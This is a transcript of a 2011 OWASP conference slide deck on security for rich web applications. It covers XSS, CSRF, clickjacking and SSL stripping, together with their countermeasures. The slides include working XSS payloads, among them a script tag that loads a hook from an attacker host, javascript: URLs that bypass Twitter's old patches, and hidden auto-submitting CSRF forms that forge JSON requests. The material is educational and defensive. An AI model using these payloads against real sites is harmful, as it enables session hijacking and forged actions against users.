Application Security for RIAs

115
Application Security for RIAs John Wilander, & OWASP Wednesday, November 2, 2011

description

In this session, you’ll learn about the top 10 security risks in web applications, and, with demos, how REST backends and rich JavaScript applications map to these risks. Current and upcoming countermeasures include new HTTP headers, double submit cookies, and escaping input client-side to avoid DOM-based XSS. We’ll look at each of these, discuss the techniques you’ll want to add to your developer toolbox, and how to build reasonable security processes into an agile team environment.

Transcript of Application Security for RIAs

Page 1: Application Security for RIAs

Application Security for RIAs

John Wilander, & OWASP

Wednesday, November 2, 2011

Page 2: Application Security for RIAs

Frontend developer atSvenska Handelsbanken

Researcher in application security

Co-leader OWASP Sweden

OWASP == The Open Web Application Security Project

Cheat sheets, tools, code, guidelines

https://owasp.org

@johnwilander

johnwilander.com (music)

Wednesday, November 2, 2011

Page 3: Application Security for RIAs

ÅåÄäÖö

Wednesday, November 2, 2011

Page 4: Application Security for RIAs

OWASP Top 10Top web applicationsecurity risks 2010

Wednesday, November 2, 2011

Page 5: Application Security for RIAs

1. Injection2. Cross-Site Scripting (XSS)3. Broken Authentication and Session

Management4. Insecure Direct Object References5. Cross-Site Request Forgery (CSRF)6. Security Misconfiguration7. Insecure Cryptographic Storage8. Failure to Restrict URL Access9. Insufficient Transport Layer Protection10.Unvalidated Redirects and Forwards

Wednesday, November 2, 2011

Page 6: Application Security for RIAs

”Do I have to care?”

Wednesday, November 2, 2011

Page 7: Application Security for RIAs

From: WhiteHat Website Security Statistic Report, Winter 2011

Likelihood of ≥ 1 vulnerability on your site

Wednesday, November 2, 2011

Page 8: Application Security for RIAs

Per extension

.asp .aspx .do .jsp .php

Sites having had ≥ 1serious vulnerability

74 % 73 % 77 % 80 % 80 %

Sites currently having ≥ 1serious vulnerability

57 % 58 % 56 % 59 % 63 %

From: WhiteHat Website Security Statistic Report, Spring 2010Wednesday, November 2, 2011

Page 9: Application Security for RIAs

But we’re moving towards more

code client-side

Wednesday, November 2, 2011

Page 10: Application Security for RIAs

From: IBM X-Force 2011 Mid-Year Trend and Risk Report

Client-Side, JavaScript Vulnerabilities

Wednesday, November 2, 2011

Page 11: Application Security for RIAs

From: IBM X-Force 2011 Mid-Year Trend and Risk Report

Client-Side, JavaScript Vulnerabilities

Wednesday, November 2, 2011

Page 12: Application Security for RIAs

• Cross-Site Scripting (XSS)• Cross-Site Request Forgery (CSRF)

• Clickjacking• Man-In-the-Middle SSL

Focus Today

Wednesday, November 2, 2011

Page 13: Application Security for RIAs

XSS ...the hack that keeps on hacking

Wednesday, November 2, 2011

Page 14: Application Security for RIAs

Cross-Site ScriptingTheory

Cross-Site

Scripting

Wednesday, November 2, 2011

Page 15: Application Security for RIAs

Cross-Site ScriptingType 1, reflected

Cross-Site

Scripting

Phising

Wednesday, November 2, 2011

Page 16: Application Security for RIAs

Cross-Site ScriptingType 2, stored

Cross-Site

Wednesday, November 2, 2011

Page 17: Application Security for RIAs

Cross-Site ScriptingType 2, stored

Scripting

Wednesday, November 2, 2011

Page 18: Application Security for RIAs

Cross-Site ScriptingType 0, DOM-based

Cross-Site

Scripting

Phising

Wednesday, November 2, 2011

Page 19: Application Security for RIAs

Cross-Site ScriptingType 0, DOM-based

Phising

Cross-Site

Scripting

No server roundtrip!

Also, single-page interfacesmake injected scripts ”stick”in the DOM.

Wednesday, November 2, 2011

Page 20: Application Security for RIAs

https://secure.bank.com/authentication#language=sv&country=SE

Wednesday, November 2, 2011

Page 21: Application Security for RIAs

https://secure.bank.com/authentication#language=sv&country=SE

Never sent to server

Be careful when you usethis data on your page

Wednesday, November 2, 2011

Page 22: Application Security for RIAs

https://secure.bank.com/authentication#language=<script src="http://attackr.se:

3000/hook.js"></script>&country=SE

Would you click this?

Wednesday, November 2, 2011

Page 23: Application Security for RIAs

https://secure.bank.com/authentication#language=%3Cscript%20src%3D%22http%3A%2F%2Fattackr.se%3A3000%2Fhook.js%22%3E%3C

%2Fscript%3E&country=SE

Would you click this?

Wednesday, November 2, 2011

Page 24: Application Security for RIAs

http://bit.ly/Yg4T32

Would you click this?

Wednesday, November 2, 2011

Page 25: Application Security for RIAs

Filter out <script>?

http://docs.sencha.com/ext-js/4-0/#!/api/Ext.util.Format-method-stripScripts

/** * Strips all script tags * @param {Object} value The text from which to strip script tags * @return {String} The stripped text */stripScripts : function(v) { return !v ? v : String(v).replace(stripScriptsRe, "");},

var ... , stripScriptsRe = /(?:<script.*?>)((\n|\r|.)*?)(?:<\/script>)/ig,

Wednesday, November 2, 2011

Page 26: Application Security for RIAs

Filter out <script>?<img src=1 onerror=alert(1)>

<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>

<body onload=alert('XSS')>

<table background="javascript:alert('XSS')">

¼script¾alert(¢XSS¢)¼/script¾

<video poster=javascript:alert(1)//

Wednesday, November 2, 2011

Page 27: Application Security for RIAs

”C’mon, such attacks don’t really work,

do they?”

Yep, demo.

Wednesday, November 2, 2011

Page 28: Application Security for RIAs

DOM-Based XSSTwitter September 2010

Full story athttp://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html

Wednesday, November 2, 2011

Page 29: Application Security for RIAs

(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; }})(window);

Wednesday, November 2, 2011

Page 30: Application Security for RIAs

(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; }})(window);

What does this code do?

Wednesday, November 2, 2011

Page 31: Application Security for RIAs

(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; }})(window);

”https://twitter.com/#!/johnwilander”.split(”#!”)[1]returns”/johnwilander”

Wednesday, November 2, 2011

Page 32: Application Security for RIAs

(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; }})(window);

”https://twitter.com/#!/johnwilander”.split(”#!”)[1]returns”/johnwilander”

window.location = ”/johnwilander”initial ’/’ => keeps the domain but changes the path

Wednesday, November 2, 2011

Page 33: Application Security for RIAs

(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; }})(window);

”https://twitter.com/#!/johnwilander”.split(”#!”)[1]returns”/johnwilander”

window.location = ”/johnwilander”initial ’/’ => keeps the domain but changes the path

Sotwitter.com/#!/johnwilanderbecomestwitter.com/johnwilander

Read more: http://kotowicz.net/absolute/

Wednesday, November 2, 2011

Page 34: Application Security for RIAs

http://twitter.com/#!javascript:alert(document.domain);

Wednesday, November 2, 2011

Page 35: Application Security for RIAs

http://twitter.com/#!javascript:alert(document.domain);

Never sent to server=> DOM-based XSS

Wednesday, November 2, 2011

Page 36: Application Security for RIAs

var c = location.href.split("#!")[1];if (c) { window.location = c.replace(":", "");} else { return true;}

The Patch™

Wednesday, November 2, 2011

Page 37: Application Security for RIAs

var c = location.href.split("#!")[1];if (c) { window.location = c.replace(":", "");} else { return true;}

Replaces the first occuranceof the search string

The Patch™

Wednesday, November 2, 2011

Page 38: Application Security for RIAs

http://twitter.com/#!javascript::alert(document.domain);

Wednesday, November 2, 2011

Page 39: Application Security for RIAs

http://twitter.com/#!javascript::alert(document.domain);

Wednesday, November 2, 2011

Page 40: Application Security for RIAs

(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); }})(window);

The 2nd Patch™

Wednesday, November 2, 2011

Page 41: Application Security for RIAs

(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); }})(window); Regexp pattern

delimiters

Wednesday, November 2, 2011

Page 42: Application Security for RIAs

(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); }})(window);

Global match

Regexp patterndelimiters

Wednesday, November 2, 2011

Page 43: Application Security for RIAs

(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); }})(window);

Global match Ignore case

Regexp patterndelimiters

Wednesday, November 2, 2011

Page 44: Application Security for RIAs

Were they done now?

Wednesday, November 2, 2011

Page 45: Application Security for RIAs

http://twitter.com#!javascript&x58;alert(1)

Wednesday, November 2, 2011

Page 46: Application Security for RIAs

http://twitter.com#!javascript&x58;alert(1)

HTML entity version of ’:’

Wednesday, November 2, 2011

Page 47: Application Security for RIAs

(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location.pathname = a; }})(window);

The n:th Patch™(this one works)

And hey, Twitter is doing the right thing: https://twitter.com/about/security

Wednesday, November 2, 2011

Page 48: Application Security for RIAs

Fix these issues properly with ...

Client-Side Encoding

Wednesday, November 2, 2011

Page 49: Application Security for RIAs

https://github.com/chrisisbeef/jquery-encoder• $.encoder.canonicalize()

Throws Error for double encoding or multiple encoding types, otherwise transforms %3CB%3E to <b>

• $.encoder.encodeForCSS()Encodes for safe usage in style attribute and style()

• $.encoder.encodeForHTML()Encodes for safe usage in innerHTML and html()

• $.encoder.encodeForHTMLAttribute()Encodes for safe usage in HTML attributes

• $.encoder.encodeForJavaScript()Encodes for safe usage in event handlers etc

• $.encoder.encodeForURL()Encodes for safe usage in href etc

Wednesday, November 2, 2011

Page 50: Application Security for RIAs

https://github.com/chrisisbeef/jquery-encoder• $.encoder.canonicalize()

Throws Error for double encoding or multiple encoding types, otherwise transforms %3CB%3E to <b>

• $.encoder.encodeForCSS()Encodes for safe usage in style attribute and style()

• $.encoder.encodeForHTML()Encodes for safe usage in innerHTML and html()

• $.encoder.encodeForHTMLAttribute()Encodes for safe usage in HTML attributes

• $.encoder.encodeForJavaScript()Encodes for safe usage in event handlers etc

• $.encoder.encodeForURL()Encodes for safe usage in href etc

Wednesday, November 2, 2011

Page 51: Application Security for RIAs

Let’s do a short demo of that

Wednesday, November 2, 2011

Page 53: Application Security for RIAs

Only allow scripts from whitelisted domainsandonly allow scripts from files, i.e. no inline scripts

New HTTP Response Header Saying ...

Wednesday, November 2, 2011

Page 54: Application Security for RIAs

'self' = same URL, protocol and port

X-Content-Security-Policy: default-src 'self'Accept all content including scripts only from my own URL+port

X-Content-Security-Policy: default-src *; script-src trustedscripts.foo.com Accept media only from my URL+port (images, stylesheets, fonts, ...) and scripts only from trustedscripts.foo.com

Wednesday, November 2, 2011

Page 55: Application Security for RIAs

CSRFmy current favorite!

Wednesday, November 2, 2011

Page 56: Application Security for RIAs

Cross-Site Request Forgery

Cross-Site

Request Forgery

Wednesday, November 2, 2011

Page 57: Application Security for RIAs

Cross-Site Request Forgery

Cross-Site

Request Forgery

Phising

Wednesday, November 2, 2011

Page 58: Application Security for RIAs

<img src=”https://secure.bank.com/logo.png" />

Is www.attackr.se allowed toload images like this:

?

Wednesday, November 2, 2011

Page 59: Application Security for RIAs

<img src=”https://secure.bank.com/authentication#language=sv&country=SE" />

?

Is www.attackr.se allowed toload images like this:

Wednesday, November 2, 2011

Page 60: Application Security for RIAs

<img src=”https://secure.bank.com/authentication#language=sv&country=SE"

height=0 width=0 />

With image tags www.attackr.se can silentlysend HTTP GET requests to any domain

Wednesday, November 2, 2011

Page 61: Application Security for RIAs

”Will restricting to HTTP POST save me?”

Wednesday, November 2, 2011

Page 62: Application Security for RIAs

What’s on your mind? What’s on your mind?POST POST

Wednesday, November 2, 2011

Page 63: Application Security for RIAs

I love OWASP!

What’s on your mind? What’s on your mind?POST POST

Wednesday, November 2, 2011

Page 64: Application Security for RIAs

I love OWASP!

What’s on your mind? What’s on your mind?POST POST

John: I love OWASP!

Wednesday, November 2, 2011

Page 65: Application Security for RIAs

What’s on your mind? What’s on your mind?POST POST

Wednesday, November 2, 2011

Page 66: Application Security for RIAs

What’s on your mind?I hate OWASP!

What’s on your mind?POST POST

Wednesday, November 2, 2011

Page 67: Application Security for RIAs

What’s on your mind?I hate OWASP!

What’s on your mind?POST POST

Wednesday, November 2, 2011

Page 68: Application Security for RIAs

What’s on your mind?I hate OWASP!

What’s on your mind?POST POST

John: I hate OWASP!

Wednesday, November 2, 2011

Page 69: Application Security for RIAs

What’s on your mind? What’s on your mind?POST

John: I hate OWASP!

<form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/></form>

<script type="text/javascript"> $(document).ready(function() { $('#form').submit(); });</script>

Wednesday, November 2, 2011

Page 70: Application Security for RIAs

What’s on your mind? What’s on your mind?POST

John: I hate OWASP!

<form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/></form>

<script> $(document).ready(function() { $('#target').submit(); });</script>

Wednesday, November 2, 2011

Page 71: Application Security for RIAs

There used to be a protection in web 1.5

Wednesday, November 2, 2011

Page 72: Application Security for RIAs

Forced Browsingwizard-style

Shipment info ✉

Next

Payment info $

Buy!

Wednesday, November 2, 2011

Page 73: Application Security for RIAs

Forced Browsingwizard-style

Next Buy!

Token

Shipment info ✉ Payment info $

Wednesday, November 2, 2011

Page 74: Application Security for RIAs

Forced Browsingwizard-style

Token 1 Token 2 Token 3

Token 3 Wednesday, November 2, 2011

Page 75: Application Security for RIAs

Forced Browsingwizard-style

Token 1 Token 2 Token 3

State built up i steps, server roundtrip in-between

Token 3 Wednesday, November 2, 2011

Page 76: Application Security for RIAs

Forced Browsingwizard-style

Token 1 Token 2 Token 3

Token 3

Couldn’t forge

request to

last ste

p

without a

valid token

Wednesday, November 2, 2011

Page 77: Application Security for RIAs

But in RIAs ...

Wednesday, November 2, 2011

Page 78: Application Security for RIAs

RIA & client-side state

{”purchase”: {}}

Wednesday, November 2, 2011

Page 79: Application Security for RIAs

RIA & client-side state

{”purchase”: { ”items”: [{}] }}

Wednesday, November 2, 2011

Page 80: Application Security for RIAs

RIA & client-side state

{”purchase”: { ”items”: [{},{}] }}

Wednesday, November 2, 2011

Page 81: Application Security for RIAs

RIA & client-side state

{”purchase”: { ”items”: [{},{}], ”shipment”: {} }}

Wednesday, November 2, 2011

Page 82: Application Security for RIAs

RIA & client-side state

{”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} }}

Wednesday, November 2, 2011

Page 83: Application Security for RIAs

RIA & client-side state

{”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} }}

Wednesday, November 2, 2011

Page 84: Application Security for RIAs

Can an attacker forge such a JSON structure?

Wednesday, November 2, 2011

Page 85: Application Security for RIAs

CSRF possible?

{”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} }}

Wednesday, November 2, 2011

Page 86: Application Security for RIAs

<form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners">

<input type="text" name=”” value="" />

<input type="submit" value="Go" />

</form>

Wednesday, November 2, 2011

Page 87: Application Security for RIAs

<form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden">

<input type="text" name=”” value="" />

<input type="submit" value="Go" />

</form>

Wednesday, November 2, 2011

Page 88: Application Security for RIAs

<form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain">

<input type="text" name=”” value="" />

<input type="submit" value="Go" />

</form>

Wednesday, November 2, 2011

Page 89: Application Security for RIAs

<form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain">

<input type="text" name=”” value="" />

<input type="submit" value="Go" />

</form>

Forms produce a request body that looks like this:

theName=theValue

... and that’s not valid JSON.

Wednesday, November 2, 2011

Page 90: Application Security for RIAs

<form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain">

<input type="text" name='{"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006"}//' value="dummy" />

<input type="submit" value="Go" />

</form>

Wednesday, November 2, 2011

Page 91: Application Security for RIAs

<form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain">

<input type="text" name='{"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006"}//' value="dummy" />

<input type="submit" value="Go" />

</form>

Produces a request body that looks like this:

{"id": 0, "nickName": "John","oneLiner": "I hate OWASP!","timestamp": "20111006"}//=dummy

... and that is acceptable JSON!

Wednesday, November 2, 2011

Page 92: Application Security for RIAs

Demo POST CSRF against REST service

Wednesday, November 2, 2011

Page 93: Application Security for RIAs

Demo XSS + CSRF with

The Browser Exploitation Frameworkhttp://beefproject.com/

Wednesday, November 2, 2011

Page 94: Application Security for RIAs

Important in yourREST API

• Restrict HTTP method, e.g. POSTEasier to do CSRF with GET

• Restrict to AJAX if applicableX-Requested-With:XMLHttpRequestCross-domain AJAX prohibited by default

• Restrict media type(s), e.g. application/jsonHTML forms only allow URL encoded, multi-part and text/plain

Wednesday, November 2, 2011

Page 95: Application Security for RIAs

Attacker may spoof headers via Flash proxy

http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-February/007533.html

Wednesday, November 2, 2011

Page 96: Application Security for RIAs

Double Submit

Wednesday, November 2, 2011

Page 97: Application Security for RIAs

Double Submit(CSRF protection)

Anti-CSRF valueas cookie ...

... andrequest parameter

Wednesday, November 2, 2011

Page 98: Application Security for RIAs

Double Submit(CSRF protection)

Cannot read theanti-CSRF cookie toinclude it as parameter

cookie ≠request parameter

Wednesday, November 2, 2011

Page 99: Application Security for RIAs

Double Submit(CSRF protection)

Anti-CSRF cookie canbe generated client-side=> no server-side state

Wednesday, November 2, 2011

Page 100: Application Security for RIAs

How To Get It Right

• Join your local OWASP chapterhttps://www.owasp.org/index.php/OWASP_Chapter

• Start following these fellas on Twitter:@WisecWisec @0x6D6172696F @garethheyes @internot_ @securityninja @jeremiahg @kkotowicz @webtonull @manicode @_mwc

• Start hacking – it’s fun!Best place to start? Your own apps of course.Just stay legal ;)

Wednesday, November 2, 2011

Page 101: Application Security for RIAs

@[email protected]

http://appsandsecurity.blogspot.com

Wednesday, November 2, 2011

Page 102: Application Security for RIAs

Clickjacking and MItMif there’s time

Wednesday, November 2, 2011

Page 103: Application Security for RIAs

Clickjacking Demo

Wednesday, November 2, 2011

Page 104: Application Security for RIAs

X-Frame-Optionshttp://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-

clickjacking-defenses.aspxhttp://tools.ietf.org/html/draft-

gondrom-frame-options-01

Wednesday, November 2, 2011

Page 105: Application Security for RIAs

No page can load me in an iframeoronly my own domain can load me in an iframe

Wednesday, November 2, 2011

Page 106: Application Security for RIAs

X-Frame-Options: DENY

X-Frame-Options: SAMEORIGIN

(Coming:X-Frame-Options: ALLOW-FROM [list])

Wednesday, November 2, 2011

Page 107: Application Security for RIAs

MItM Demo

Wednesday, November 2, 2011

Page 108: Application Security for RIAs

Moxie’s SSL Strip

Terminates SSL

Changes https to http

Normal https to the server

Acts as client

http https

Wednesday, November 2, 2011

Page 109: Application Security for RIAs

Moxie’s SSL Striphttp https

Secure cookie?

Encoding, gzip?

Cached content?

Ongoing sessions?

Wednesday, November 2, 2011

Page 110: Application Security for RIAs

Moxie’s SSL Strip

Strip secure attribute off all cookies

Strip off all request encodings

Strip off all if-modified-since in request

302 back to same page, set-cookie expired

http https

Secure cookie?

Encoding, gzip?

Cached content?

Ongoing sessions?

Wednesday, November 2, 2011

Page 111: Application Security for RIAs

SSL Strip & Torlogin.yahoo.com

GmailHotmail

PayPal

11450139

In 24 h

Tor node

Tor node

Tor nodeTor nodeTor node

Tor exit node with SSL Strip

Wednesday, November 2, 2011

Page 113: Application Security for RIAs

Require SSL without warnings for X seconds aheadandpotentially do the same for my subdomains too

Wednesday, November 2, 2011

Page 114: Application Security for RIAs

Strict-Transport-Security: max-age=86400

Strict-Transport-Security: max-age=86400; includeSubdomains

Wednesday, November 2, 2011

Page 115: Application Security for RIAs

W3C Web Application Security Working Grouphttp://www.w3.org/2011/webappsec/

Wednesday, November 2, 2011